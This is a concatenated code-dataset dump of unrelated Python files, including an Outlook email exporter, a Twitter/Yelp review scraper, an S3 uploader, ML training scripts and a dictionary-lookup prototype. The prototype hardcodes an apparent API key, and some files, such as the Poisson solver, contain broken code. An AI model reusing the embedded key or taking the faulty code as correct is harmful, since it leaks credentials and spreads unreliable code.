https://www.codementor.io/aliacetrefli/how-to-read-outlook-emails-by-python-jkp2ksk95\n\"\"\"\n\nimport os\nimport win32com.client\nimport re\n\ndef process(config):\n\t# create folder to save files\n\tif not os.path.exists(config.save_folder):\n\t\tos.makedirs(config.save_folder)\n\n\toutlook = win32com.client.Dispatch('Outlook.Application').GetNamespace('MAPI')\n\taccounts = win32com.client.Dispatch('Outlook.Application').Session.Accounts;\n\t\n\t# get account of interest\n\tstr_accounts = [str(a) for a in accounts]\n\ttry:\n\t\taccount = accounts[str_accounts.index(config.email)]\n\texcept ValueError:\n\t\traise ValueError('No such account found.')\n\n\t# get folder of interest\n\tfolders = outlook.Folders(account.DeliveryStore.DisplayName).Folders\n\tstr_folders = [str(f) for f in folders]\n\ttry:\n\t\tfolder = folders[str_folders.index(config.folder)]\n\texcept:\n\t\traise ValueError('No such folder found.')\n\n\t# create regexs to parse\n\tregexs = []\n\tif config.remove_angle_brackets:\n\t\tregexs.append(r'<.*>')\n\n\t# look through all email messages\n\tnum_processed = 0\n\tfor i, m in enumerate(folder.Items):\n\t\t# is the message in range?\n\t\tlast_mod = m.LastModificationTime.replace(tzinfo=None)\n\t\tin_range = (last_mod >= config.start_date and last_mod <= config.end_date)\n\n\t\t# does message match at least one subject?\n\t\tmatch_sub = False\n\t\tfor s in config.subjects:\n\t\t\tif s in m.Subject:\n\t\t\t\tmatch_sub = True\n\t\t\t\tbreak\n\n\t\t# output as text file\n\t\tif in_range and match_sub:\n\t\t\t# get non-conflicting filename\n\t\t\tfilename = os.path.join(config.save_folder, 'message%d.txt' % i)\n\t\t\tct = 1\n\t\t\twhile os.path.isfile(filename):\n\t\t\t\tfilename = os.path.join(config.save_folder, 'message%d-%d.txt' % (i, ct))\n\t\t\t\tct += 1\n\t\t\t# format email body by removing excess info\n\t\t\tnew_body = format_body(m.Body, regexs)\n\t\t\t# output txt file\n\t\t\tf = open(filename, 'w')\n\t\t\tf.write(new_body)\n\t\t\tf.close()\n\t\t\tnum_processed += 1\n\n\treturn num_processed\n\ndef format_body(body, regexs):\n\n\t# match lines to regexs\n\tnew_body = []\n\tfor line in body.split('\\n'):\n\t\tfor reg_exp in regexs:\n\t\t\tline = re.sub(reg_exp, '', line)\n\t\tif line.strip():\n\t\t\tnew_body.append(line)\n\t\n\t# convert back to string\n\tnew_body = '\\n'.join(new_body)\n\n\t# return new_body if we needed to edit it, otherwise\n\t# return the unmodified body\n\treturn new_body if len(regexs) > 0 else m.Body\n","sub_path":"app/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"2184797","text":"prime=2\r\ncounter = 0\r\nx = int(input(\"Enter count of prime number:\\n\"))\r\nwhile (counter < x):\r\n if all(prime % j != 0 for j in range(2, prime)):\r\n print(prime, \"is a prime number\")\r\n counter += 1\r\n\r\n\r\n prime += 1","sub_path":"day3/day3_prime_no_Q4.py","file_name":"day3_prime_no_Q4.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"637617986","text":"# system imports\nimport os\nimport sys\nimport json\nimport datetime\nimport random\nimport time\nimport csv\nimport logging\n\n# 3rd party imports\nimport requests\nimport pandas as pd\nimport numpy as np\nfrom yelpapi import YelpAPI\nfrom twitter import Twitter, OAuth\nfrom searchtweets import load_credentials, ResultStream, gen_rule_payload\nfrom bs4 import BeautifulSoup\n\n## folder imports\nfrom data import folder_paths as fp\nfrom data.credentials import get_credidentials\n\ntopics = {\n \"price\",\n \"ambience\",\n \"food\",\n \"bar\",\n \"view\",\n \"parking\",\n \"staff\",\n \"service\",\n \"music\",\n \"cleanliness\",\n \"time\",\n \"customer_service\"\n}\n\ntwitter_users = [\n 'KimosRestaurant',\n 'JakesInDelMar',\n 'SunnysideResort',\n 'dukeshb',\n 'DukesLaJolla',\n 'DukesMalibu',\n 'DukesBeachHouse',\n 'DukesInKauai',\n 'DukesWaikiki',\n 'hulagrillwaiks',\n 'HulaGrillMaui',\n 'KeokisParadise',\n 'LeilanisMaui'\n]\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nformatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\nhdlr = logging.FileHandler(\"../../data/logs/logs_scrapper.log\")\nhdlr.setFormatter(formatter)\nlogger.addHandler(hdlr)\n\nhandler = logging.StreamHandler(sys.stdout)\nhandler.setLevel(logging.INFO)\nlogger.addHandler(handler)\n\ndata_path = \"././data/raw\"\n\nyelp_branches = [\n 'kimos-maui-lahaina',\n 'leilanis-lahaina-2',\n 'hula-grill-kaanapali-lahaina-2',\n 'sunnyside-tahoe-city-2',\n 'dukes-huntington-beach-huntington-beach-2',\n 'dukes-la-jolla-la-jolla',\n 'dukes-malibu-malibu-2',\n 'dukes-beach-house-lahaina',\n 'dukes-kauai-lihue-3',\n 'dukes-waikiki-honolulu-2',\n 'hula-grill-waikiki-honolulu-3',\n 'keokis-paradise-koloa',\n]\n\nclass scrappers:\n data_path = \"././data/raw\"\n \n def __init__(self):\n __dir_path = os.path.dirname(os.path.realpath(__file__))\n credentials = get_credidentials()\n self.twitter_premium_api = load_credentials(\n filename=\"{}/{}\".format(__dir_path,\"twitter_keys.yaml\"),\n yaml_key=\"search_tweets_api_30day\")\n self.twitter_api = Twitter(auth=OAuth(\n consumer_key=credentials['twitter']['consumer_key'],\n consumer_secret=credentials['twitter']['consumer_secret'],\n token=credentials['twitter']['access_token_key'],\n token_secret=credentials['twitter']['access_token_secret']\n ))\n self.yelp_api = YelpAPI(credentials['yelp']['api_key'])\n self.__data_path = \"../data/raw\"\n logger.info(\"initiation started.\")\n\n def tw_verify_credentials(self):\n obj = self.twitter_api.VerifyCredentials()\n print(json.dumps(obj._json, indent=4, sort_keys=True))\n\n def tw_get_statuses(self, user_list):\n for username in user_list:\n with open(f'datasets/tw_{username}_statuses.json', 'w') as f:\n try:\n f.write('{\"statuses\": [')\n max_id = 0\n while(True):\n # status scheme available at: https://developer.twitter.com/en/docs/tweets/timelines/api-reference/get-statuses-user_timeline.html\n statuses = self.twitter_api.GetUserTimeline(\n screen_name=username,\n count=100,\n max_id=max_id)\n\n if len(statuses) == 1 and statuses[0].id == max_id:\n break\n else:\n for status in statuses:\n if status.id != max_id:\n f.write(\"%s,\" % json.dumps(status._json))\n\n max_id = statuses[-1].id\n finally:\n max_id != 0 and f.seek(f.tell() - 1, os.SEEK_SET)\n f.write(\"]}\")\n\n def tw_get_search(self, user_list):\n for user_name, keyword_list in user_list.items():\n with open(f'datasets/tw_{user_name}_searches.json', 'w') as f:\n try:\n f.write('{\"statuses\": [')\n max_id = 0\n user = self.twitter_api.GetUser(screen_name=user_name)\n keyword_list.append(f'{user.name}')\n keyword_list.append(f'{user_name}')\n keyword_list.append(f'#{user_name}')\n keyword_list.append(f'@{user_name}')\n term = '{}'.format(' OR '.join(keyword_list))\n while(True):\n # status scheme available at: https://developer.twitter.com/en/docs/tweets/search/api-reference/get-search-tweets.html\n statuses = self.twitter_api.GetSearch(\n term=term.encode('utf-8'),\n geocode=None,\n count=100,\n max_id=max_id)\n\n if (len(statuses) == 1 and statuses[0].id == max_id) or statuses == []:\n break\n else:\n for status in statuses:\n if status.id != max_id:\n \"\"\"status_text = json.dumps(status._json)\n status_json = json.loads(status_text)\n status_json['keyword'] = keyword\"\"\"\n f.write(\"%s,\" % json.dumps(status._json))\n max_id = statuses[-1].id\n finally:\n max_id != 0 and f.seek(f.tell() - 1, os.SEEK_SET)\n f.write(\"]}\")\n\n def tw_get_premium_search(self, keyword: str):\n with open(f'datasets/tw_{keyword.lower()}_searches_premium.json', 'w') as f:\n try:\n f.write('{\"statuses\": [')\n\n rule = gen_rule_payload(\n pt_rule=\"near:\\\"New York, NY\\\" within:50mi\".format(),\n results_per_call=100,\n from_date=\"2018-07-01\",\n to_date=\"2018-10-01\"\n )\n\n rule = gen_rule_payload(\n pt_rule=\"place:\\\"New York, NY\\\"\".format(),\n results_per_call=100,\n from_date=(datetime.date.today() -\n datetime.timedelta(31)).isoformat(),\n to_date=datetime.date.today().isoformat()\n )\n\n next_token = None\n while True:\n results = ResultStream(\n rule_payload=rule,\n **self.twitter_premium_api)\n results.next_token = next_token\n\n tweets = []\n\n try:\n tweets = list(results.stream())\n except Exception as ex:\n print(str(ex))\n\n for tweet in tweets:\n f.write(\"%s,\" % json.dumps(tweet))\n\n if results.next_token is None:\n break\n else:\n next_token = results.next_token\n\n next_token is not None and f.seek(f.tell() - 1, os.SEEK_SET)\n f.write(\"]}\")\n\n except Exception as ex:\n print(\"Error:\\n\" + str(ex))\n\n def yp_get_businesses(self, business_list):\n \"\"\"\n Get reviews for each business in the business_list and creates separate data files.\n File Type: JSON\n \"\"\"\n for business in business_list: \n with open(f'{self.data_path}/yp_{business}_competitors.json', 'w') as f:\n try:\n f.write('{\"businesses\": [')\n branch = self.yelp_api.business_query(business)\n offset = 0\n while(True):\n try:\n # status scheme available at: # https://www.yelp.com/developers/documentation/v3/business_search\n competitors = self.yelp_api.search_query(\n longitude=branch['coordinates']['longitude'],\n latitude=branch['coordinates']['latitude'],\n radius=40000,\n # categories='bars,french'\n sort_by='distance',\n limit=50,\n offset=offset)\n\n f.write(\"%s,\" % json.dumps(\n competitors['businesses']))\n offset = offset + 50\n except self.yelp_api.YelpAPIError:\n break\n finally:\n offset != 0 and f.seek(f.tell() - 1, os.SEEK_SET)\n f.write(\"]}\")\n\n def yp_get_competitors(self, business_list):\n \"\"\"\n Gets business list in consideration to the existing business list file. Adds any additional business, if it is not recorded yet.\n \"\"\"\n file_path = fp.yp_raw_competitors(self.data_path)\n index_list = []\n existing_list = [] \n \"\"\"\n if os.path.exists(file_path):\n with open(file_path, 'r') as f:\n current_file = f.readlines()\n if len(current_file) > 0:\n existing_list = json.loads(current_file[0])\n index_list = [_business[\"alias\"] for _business in existing_list]\n logger.info(f\"existing file found: {len(index_list)} total entries\")\n \"\"\"\n with open(file_path, 'w') as f:\n # find businesses\n for business in business_list:\n new_list = []\n \n try:\n logger.info(f\"import started for : {business}\")\n branch = self.yelp_api.business_query(business)\n offset = 0\n while(True):\n try:\n # status scheme available at: # https://www.yelp.com/developers/documentation/v3/business_search\n competitors = self.yelp_api.search_query(\n longitude=branch['coordinates']['longitude'],\n latitude=branch['coordinates']['latitude'],\n radius=40000,\n # categories='bars,french'\n sort_by='distance',\n limit=50,\n offset=offset)\n \n # add alias name for distance measurement as dist_to_alias\n businesses = competitors[\"businesses\"]\n [i.update({\"dist_to_alias\": business}) for i in businesses] \n\n for i in businesses:\n if i['alias'] not in index_list:\n new_list.append(i)\n index_list.append(i['alias'])\n \n offset = offset + 50\n except self.yelp_api.YelpAPIError:\n break\n \n finally:\n existing_list.extend(new_list)\n logger.info(f\"import completed. existing: {len(existing_list)} new: {len(new_list)}\")\n \n # saving into file\n json.dump(existing_list, f)\n \n def yp_get_business_reviews(self, business_list):\n \"\"\"\n Gets three reviews from the yelp api.\n \"\"\"\n for business in business_list:\n with open(f'{self.data_path}/yp_{business}_rws.json', 'w') as f:\n try:\n f.write('{\"reviews\": [')\n offset = 0\n while(True):\n reviews_set = self.yelp_api.reviews_query(\n business, limit=5, offset=offset)\n reviews = reviews_set['reviews']\n if len(reviews) > 0:\n for review in reviews:\n f.write(\"%s,\\n\" % review)\n\n offset = offset + 5\n else:\n break\n finally:\n offset != 0 and f.seek(f.tell() - 1, os.SEEK_SET)\n f.write(\"]}\")\n\n def yp_get_competitor_reviews(self, business_list=None, start_index=0, end_index=5):\n \"\"\"\n Gets reviews by scraping through the site. Reviews are saved by business name and reviews. Uses Competitors reviews file as default file. Given index controls regions of Competitors. \n business_list: None or List\n start_index: int, interested region's starting index\n end_index: int, interested region's ending index\n File Type: CSV\n \"\"\"\n file_path = fp.yp_raw_competitors_reviews(self.data_path) \n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'\n }\n columns = ['alias', 'ratingValue', 'dataPublished', 'description', 'author']\n df: pd.DataFrame\n # getting competitors list\n businesses_file_path = fp.yp_raw_competitors(self.data_path)\n businesses_index_list = []\n \n if os.path.exists(businesses_file_path):\n with open(businesses_file_path, 'r') as f:\n current_file = f.readlines()\n if len(current_file) > 0:\n businesses_index_list = [_business[\"alias\"] for _business in json.loads(current_file[0])]\n \n # needed every time\n if os.path.exists(file_path):\n with open(file_path, 'r') as f:\n df = pd.read_csv(file_path)\n logger.info(f\"existing file found. total reviews count: {len(df)}\")\n\n # need only once, if file doesn't exists\n if os.path.exists(file_path) is False:\n with open(file_path, 'w') as f:\n writer = csv.writer(f)\n writer.writerow(columns)\n logger.info(\"file created at: {}\".format(file_path))\n \n # ops \n with open(file_path, 'a', newline='') as f: \n if business_list is None: \n business_list = businesses_index_list\n\n current_index = start_index - 1\n for business in business_list[start_index: end_index]: \n cnt_imported = 0 \n current_index = current_index + 1\n logger.info(f\"index: {current_index} of {end_index - 1}\")\n try:\n writer = csv.writer(f) \n logger.info(f\"import started for : {business}\")\n start = 0\n cnt_requests = 0\n while (True):\n url = '{}/{}?sort_by=date_desc&start={}'.format('https://www.yelp.com/biz', business, start)\n response = requests.get(url, headers)\n\n soup = BeautifulSoup(response.text, 'html.parser')\n html_script = soup.findAll('script', {'type': 'application/ld+json'})[-1]\n obj = json.loads(html_script.string)\n\n reviews = obj['review']\n if len(reviews) > 0:\n for review in reviews:\n data = [\n business,\n review['reviewRating']['ratingValue'],\n review['datePublished'],\n review['description'],\n review['author']\n ]\n\n check = np.array(data, dtype='O')\n if not (df.values == check).all(1).any():\n writer.writerow(data)\n cnt_imported = cnt_imported + 1\n\n start = start + 20\n cnt_requests = cnt_requests + 1\n else:\n logger.info(f\"import completed. total reviews cnt: {cnt_imported} total request cnt: {cnt_requests}\")\n break\n except Exception as ex:\n logger.warning(f\"error: alias: {business} index: {current_index} total reviews cnt: {cnt_imported}\")\n logger.warning(f\"error message: {ex}\")\n logger.warning(\"Let me sleep for some time..\")\n second = int(round(random.expovariate(1) * 100))\n time.sleep(second)\n logger.warning(f\"{second} seconds slept, now back on scrapping..\")\n continue\n\n def yp_get_business_reviews2(self, business_list):\n \"\"\"\n Gets reviews by scraping through the site.\n \"\"\"\n for business in business_list:\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\n\n with open(f'{self.data_path}/yp_{business}_rws.json', 'w') as f:\n try:\n f.write('{\"reviews\": [')\n start = 0\n while (True):\n url = '{}/{}?sort_by=date_desc&start={}'.format(\n 'https://www.yelp.com/biz', business, start)\n response = requests.get(url, headers)\n\n soup = BeautifulSoup(response.text, 'html.parser')\n html_script = soup.find(\n 'script', {'type': 'application/ld+json'})\n obj = json.loads(html_script.string)\n\n reviews = obj['review']\n if len(reviews) > 0:\n for review in reviews:\n data = {\n 'ratingValue': review['reviewRating']['ratingValue'],\n 'datePublished': review['datePublished'],\n 'description': review['description'],\n 'author': review['author']\n }\n f.write(\"%s,\" % json.dumps(data))\n start = start + 20\n else:\n break\n finally:\n start != 0 and f.seek(f.tell() - 1, os.SEEK_SET)\n f.write(\"]}\")\n\n with open(f'datasets/yp_businesses.json', 'a') as f:\n obj['review'] = []","sub_path":"src/data/data_scrapper.py","file_name":"data_scrapper.py","file_ext":"py","file_size_in_byte":19139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"344816838","text":"import boto3\nimport os\nimport uuid\n\n\n# ExtraArgs={'ACL':'public-read'}\n# ACL\ndef upload_file(file):\n filePath = file['filePath']\n try:\n file_name = file['fileName']\n except (KeyError, AttributeError):\n file_name = os.path.basename(filePath)\n try:\n sendAs = file['sendAs']\n except (KeyError, AttributeError):\n sendAs = 'attachment'\n try:\n access_control = file['access_control']\n except (KeyError, AttributeError):\n access_control = 'public-read'\n try:\n bucket = file['bucket']\n except (KeyError, AttributeError):\n bucket = 'message-hub'\n\n object_key = str(uuid.uuid4())[:12] + '--' + file_name\n\n session = boto3.session.Session()\n client = session.client('s3',\n region_name='sgp1',\n endpoint_url='https://sgp1.digitaloceanspaces.com'\n )\n\n if sendAs == 'url':\n if access_control not in ['public-read', 'public-read-write']:\n access_control2 = 'public-read'\n else:\n access_control2 = access_control\n else:\n access_control2 = access_control\n\n client.upload_file(filePath, bucket, object_key, ExtraArgs={\n 'ACL': access_control2\n })\n\n print('--upload_file--object_key--\\n', object_key)\n\n return {'fileName': file_name, 'key': object_key, 'sendAs': sendAs, 'filePath': filePath,\n 'url': f'https://sgp1.digitaloceanspaces.com/message-hub/{object_key}'}\n","sub_path":"utils/message_hub/upload_file.py","file_name":"upload_file.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"346529660","text":"from libs.vae_face import train_vae_face\nfrom libs.vae import train_vae\nfrom libs.vae import train_vae_align\nfrom libs.vae import eval_vae\nfrom libs.vae import eval_vae_align\nimport tensorflow as tf\nimport os\n\ndef test_align(path):\n fs = [os.path.join(path, f)\n for f in os.listdir(path) if f.endswith('.png')]\n #print(fs)\n train_vae(\n files=fs,\n input_shape=[128, 128, 1],\n batch_size=16,\n n_epochs=50,\n crop_shape=[128, 128, 1],\n crop_factor=1,\n convolutional=True,\n variational=False,\n n_filters=[100, 100, 100],\n n_hidden=250,\n n_code=100,\n dropout=True,\n filter_sizes=[3, 3, 3],\n activation=tf.nn.relu,\n #ckpt_name = '/mnt/dataset2/tea/tfmodels/align-300w-gtbbx-1218')\n ckpt_name = 'models/vae_gt20000-20000')\n #ckpt_name='/mnt/dataset2/tea/tfmodels/align-300w-426')\n \nif __name__ == '__main__':\n test_align('./')\n #train_vae_face()\n","sub_path":"train_fcn.py","file_name":"train_fcn.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"348804750","text":"import urllib.request\nimport xml.etree.ElementTree as ET\n#import readline\n\n__author__ = 'Bedexo'\nDICT_API_KEY = \"d173135c-101c-48cf-a9bb-44b19266bcf4\"\n\nclass InvalidRequest(BaseException):\n pass\n\nclass types:\n DEFINITION = 0\n\ndef remove_forwards(xml):\n return xml.replace(\"\", \"\").replace(\"\", \"\")\n\ndef nopunc(text):\n return ''.join(l for l in text if l.isalpha())\n\ndef get_definition(text):\n # url = \"http://www.dictionaryapi.com/api/v1/references/collegiate/xml/{}\"\n # \"?key=d173135c-101c-48cf-a9bb-44b19266bcf4\".format(text)\n text = text.replace(\" \", r\"%20\")\n url = \"http://www.dictionaryapi.com/api/v1/references/collegiate/xml/{}?key={}\".format(text, DICT_API_KEY)\n with urllib.request.urlopen(url) as r:\n xml_handle = r.read()\n results = xml_handle.decode()\n results = remove_forwards(results)\n root = ET.fromstring(results)\n try:\n result = root[0].findall(\"def\")[0].find(\"dt\").text[1:].capitalize() + \".\"\n except IndexError:\n result = \"Definition not found\"\n\n return result\n\ndef chunkify(text):\n chunks = {'type': None,\n 'data': None}\n words = [nopunc(w.lower()) for w in text.split()]\n if len(words) == 1:\n chunks['type'] = types.DEFINITION\n chunks['data'] = words[0]\n elif len(words) == 2:\n if ' '.join(words[0:2]) == \"what is\":\n raise InvalidRequest\n elif words[0] in [\"define\", \"definition\", \"def\", \"dictionary\"]:\n chunks['type'] = types.DEFINITION\n chunks['data'] = words[1]\n elif len(words) >= 3:\n if ' '.join(words[0:2]) == \"what is\":\n chunks['type'] = types.DEFINITION\n if words[2] == \"a\":\n chunks['data'] = \" \".join(words[3:])\n else:\n chunks['data'] = \" \".join(words[2:])\n elif words[0] in [\"define\", \"definition\", \"def\", \"dictionary\"]:\n chunks['type'] = types.DEFINITION\n chunks['data'] = ' '.join(words[1:])\n return chunks\n\ndef analyse(chunks):\n if chunks['type'] == types.DEFINITION:\n return get_definition(chunks['data'])\n\n\nwhile True:\n text_input = input(\"Message: \")\n chunks = chunkify(text_input)\n results = analyse(chunks)\n print(results)\n\n","sub_path":"prototype.py","file_name":"prototype.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"81587887","text":"\"\"\"\nThe purpose of this script is to show basic outline of testing a classifier\n\"\"\"\nimport time\n\nfrom sklearn.metrics import accuracy_score, classification_report\nfrom sklearn.model_selection import train_test_split\n\nfrom orl_face_dataset_examples.read_pgm_file import fetch_sw_orl\n\n# grab the data (is contained in Bunch object)\nfrom sw_utils.mean_classification import MeanClassifier\nfrom sw_utils.silly_random_classification import SillyClassifier\n\n\ndef run_test(c, b):\n # split the data in test and train\n X_train, X_test, y_train, y_true = train_test_split(b.data, b.target, test_size=0.2)\n\n # train and predict\n tic = time.time()\n clf = c.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n toc = time.time()\n\n result = accuracy_score(y_true, y_pred, normalize=True)\n report = classification_report(y_true, y_pred, zero_division=0.0)\n\n return result, report, toc - tic\n\n\ndef print_info(args):\n for r in args:\n print(r)\n\ndef print_acur(args):\n print(f'{args[0]}%, in {args[2]}')\n\n# load data\nb_orl = fetch_sw_orl()\n\n\n# silly\nsilly_classifier = SillyClassifier()\nprint_acur(run_test(silly_classifier, b_orl))\n\n# mean\nmean_classifier = MeanClassifier()\nprint_acur(run_test(mean_classifier, b_orl))\n\n","sub_path":"orl_face_dataset_examples/test_script_all.py","file_name":"test_script_all.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"581318975","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app_myMicroBlogging', '0004_auto_20141219_1119'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='micro_post',\n name='fecha',\n field=models.DateField(default=datetime.datetime(2015, 1, 11, 19, 50, 46, 82135, tzinfo=utc), auto_now=True),\n preserve_default=False,\n ),\n ]\n","sub_path":"app_myMicroBlogging/migrations/0005_micro_post_fecha.py","file_name":"0005_micro_post_fecha.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"521134535","text":" #!/usr/bin/env python \n\"\"\"\nFile: eval_concept.py\nAuthor: Sahil Chopra (schopra8@stanford.edu)\nDate: May 1, 2019\nDescription: Evaluate a pre-trained concept model.\n\"\"\"\nimport uuid\nimport json\nimport matplotlib\nimport os\nimport pandas as pd\nimport numpy as np\nimport sys\nimport time\n\nfrom experiments.utils import AccuracyMeter, set_seeds\nfrom experiments.utils import load_single_task_student_checkpoint as load_student_checkpoint\nfrom utils.dataloaders.vision.concept_load_dataset import get_data_loader\n\nimport torch\nimport torchtext.data as data\nfrom tqdm import tqdm\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--name', type=str, default='', help='model name')\n parser.add_argument('--split', type=str, default='val',\n help='split to evaluate [default: val]') \n parser.add_argument('--model-dir', type=str, default='/mnt/fs5/schopra/ratchet/lfl/student/concept/models/models',\n help='where to save models [default: /mnt/fs5/schopra/ratchet/lfl/student/concept/models/models]')\n parser.add_argument('--data-dir', type=str, default='./data/concept/{}/vision/concat_informative_dataset.tsv',\n help='file template for dataset')\n\n parser.add_argument('--batch-size', type=int, default=32, metavar='N',\n help='input batch size for training [default: 32]')\n parser.add_argument('--log-interval', type=int, default=100, metavar='N',\n help='how many batches to wait before logging training status')\n\n parser.add_argument('--cuda', action='store_true', default=False,\n help='enables CUDA training')\n\n args = parser.parse_args()\n args.cuda = args.cuda and torch.cuda.is_available()\n\n # Set seeds\n set_seeds()\n\n # Load Data\n data_loader, vocab = get_data_loader('./data/concept/', args.split, batch_size=args.batch_size)\n\n # Evaluation\n def eval(student):\n acc_meter = AccuracyMeter()\n pbar = tqdm(total=len(data_loader))\n\n if args.cuda:\n student = student.to('cuda')\n student.eval()\n results = [] \n\n with torch.no_grad():\n for batch_idx, batch in enumerate(data_loader):\n images, (texts, text_lengths), student_labels, teacher_labels, true_labels, data_ids = batch\n if args.cuda:\n images = images.to('cuda')\n texts = texts.to('cuda')\n text_lengths = text_lengths.to('cuda')\n true_labels = true_labels.to('cuda')\n teacher_labels = teacher_labels.to('cuda')\n student_labels = student_labels.to('cuda')\n all_labels = {\n 'ground_truth': true_labels,\n 'student': student_labels,\n 'teacher': teacher_labels\n }\n logits, _ = student(texts, images, text_lengths)\n _, y_hat = torch.max(logits, dim=1)\n r = pd.DataFrame(data_ids, columns=['gameid', 'rule_idx'])\n r['y_hat'] = y_hat.tolist()\n r['teacher'] = teacher_labels.tolist()\n r['student'] = student_labels.tolist()\n r['ground_truth'] = true_labels.tolist() \n results.append(r)\n acc_meter.update(logits, all_labels, cuda=args.cuda, vision=True)\n pbar.update()\n pbar.close()\n print('{} Accuracies:'.format(args.split))\n acc_meter.print()\n results = pd.concat(results)\n return acc_meter, results\n\n # Model Training\n print(\"Loading best model from disk ...\")\n student = load_student_checkpoint(os.path.join(args.model_dir, args.name, 'model_weights', 'model_best.pth.tar'), use_cuda=args.cuda)\n acc_meter, results = eval(student)\n results.to_csv('~/results_{}.tsv'.format(args.split), sep='\\t', index=False)\n","sub_path":"experiments/vision/eval_concept.py","file_name":"eval_concept.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"432795554","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 8 03:59:49 2019\r\n\r\n@author: user\r\n\"\"\"\r\nfrom num_calculus import * \r\nimport matplotlib.pyplot as plt \r\ndef poisson(T):\r\n eps0 = 1\r\n x = T(0,)\r\n dx = x[0, 0] - x[0, 1] \r\n rou = eps* (eval_2nd_derivative(T, x, dx)-eval_2nd_derivative(T, y, dy))\r\n return rou\r\n\r\ndef Jacobi(L, a, N):\r\n T = np.zeros((L+1, L+1, N))\r\n T[0, :, :] = 0\r\n T[L, :, :] = 0\r\n T[:, L, :] = 0\r\n for i in np.linspace(0, L+1, N):\r\n for j in np.linspace(0, L+1, N):\r\n for n in range(0, N-1): \r\n T[i*N, j*N, n] = a*(T[(i+1)*N,j*N, n] + T[(i-1)*N, j*N, n] + T[i*N, (j+1)*N, n] + T[i*N, (j-1)*N, n])\r\n return T\r\n\r\ndef Gauss_Seidel(L, a, N):\r\n T = np.zeros((L+1, L+1, N))\r\n T[0, :, :] = 0\r\n T[L, :, :] = 0\r\n T[:, L, :] = 0 \r\n for i in np.linspace(0, L+1, N):\r\n for j in np.linspace(0, L+1, N):\r\n for n in range(0, N-1): \r\n T[i*N, j*N, n+1] = a*(T[(i+1)*N, j*N, n] + T[(i-1)*N, j*N, n+1] + T[i*N, (j+1)*N, n] + T[i*N, (j-1)*N, n+1])\r\n return T\r\n\r\ndef SOR(L, w, N):\r\n T = np.zeros((L+1, L+1, N))\r\n T[0, :, :] = 0\r\n T[L, :, :] = 0\r\n T[:, L, :] = 0 \r\n for i in np.linspace(0, L+1, N):\r\n for j in np.linspace(0, L+1, N):\r\n for n in range(0, N-1): \r\n T[i*N, j*N, n+1] = (1-w)*T[(i+1)*N, j*N, n] + w/4*(T[(i-1)*N, j*N, n] + T[i*N, (j+1)*N, n] + T[i*N, (j-1)*N, n])\r\n return T\r\n\r\nif __name__==\"__main__\":\r\n a = 1\r\n L = 1\r\n w = 1.8 \r\n N = 100\r\n fig=plt.figure()\r\n ax1=fig.add_subplot(131)\r\n ax2=fig.add_subplot(132)\r\n ax3=fig.add_subplot(133)\r\n T = Jacobi(L, a, N)\r\n d = poisson(T)\r\n ax1.set_title('Jacobi')\r\n plot(d[0], d[1])\r\n T = Gauss_Seidel(L, a, N)\r\n d = poisson(T)\r\n plot(d[0], d[1])\r\n ax2.set_title('Gauss_Seidel')\r\n T = SOR(L, a, N)\r\n d = poisson(T)\r\n plot(d[0], d[1])\r\n ax3.set_title('SOR')\r\n show()\r\n \r\n\r\n\r\n","sub_path":"exercise_5/Poisson.py","file_name":"Poisson.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"263992035","text":"#!/usr/bin/env python\nimport tensorflow as tf\nfrom layers.feedforward import resnet\n\n\ndef build_model(data_tensor, reuse, training, output_shape):\n \"\"\"Create the hgru from Learning long-range...\"\"\"\n if isinstance(output_shape, list):\n output_shape = output_shape[0]\n with tf.variable_scope('cnn', reuse=reuse):\n with tf.variable_scope('hGRU', reuse=reuse):\n net = resnet.model(\n trainable=True,\n num_classes=output_shape,\n resnet_size=152)\n x = net.build(\n rgb=data_tensor,\n training=training)\n extra_activities = {\n 'activity': x\n }\n return x, extra_activities\n","sub_path":"models/resnet_152.py","file_name":"resnet_152.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"176709022","text":"import json\nimport argparse\n\n\ndef load_data(filepath):\n with open(filepath, 'r') as file_with_json:\n return json.loads(file_with_json.read())\n\n\ndef pretty_print_json(json_data):\n print(json.dumps(json_data, ensure_ascii=False, indent=2))\n\n\nif __name__ == '__main__':\n parser = 